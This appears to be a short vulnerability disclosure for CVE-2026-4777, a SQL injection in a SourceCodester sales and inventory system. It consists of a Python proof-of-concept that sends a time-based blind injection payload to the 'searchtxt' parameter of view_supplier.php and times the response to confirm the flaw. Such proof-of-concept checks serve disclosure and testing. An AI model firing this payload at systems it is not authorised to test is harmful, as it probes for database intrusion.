CVE-2026-4777 SourceCodester库存系统SQL注入漏洞

import requests def check_sqli_vuln(target_url): """ PoC for CVE-2026-4777 SQL Injection in SourceCodester Sales and Inventory System 1.0 Vulnerable Parameter: POST 'searchtxt' in view_supplier.php """ full_url = f"{target_url}/view_supplier.php" # Payload to test for time-based blind SQL injection # Assuming MySQL backend, SLEEP(5) will delay response if vulnerable payload = { "searchtxt": "' AND (SELECT SLEEP(5))-- -" } try: print(f"Sending request to {full_url}...") response = requests.post(full_url, data=payload, timeout=10) # If response time is greater than 5 seconds (plus network latency), it indicates vulnerability if response.elapsed.total_seconds() > 5: print("[+] Vulnerability Confirmed! SQL Injection detected.") print(f" Response time: {response.elapsed.total_seconds()} seconds") else: print("[-] Vulnerability not detected or payload incorrect.") print(f" Response time: {response.elapsed.total_seconds()} seconds") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost/sales_inventory" check_sqli_vuln(target)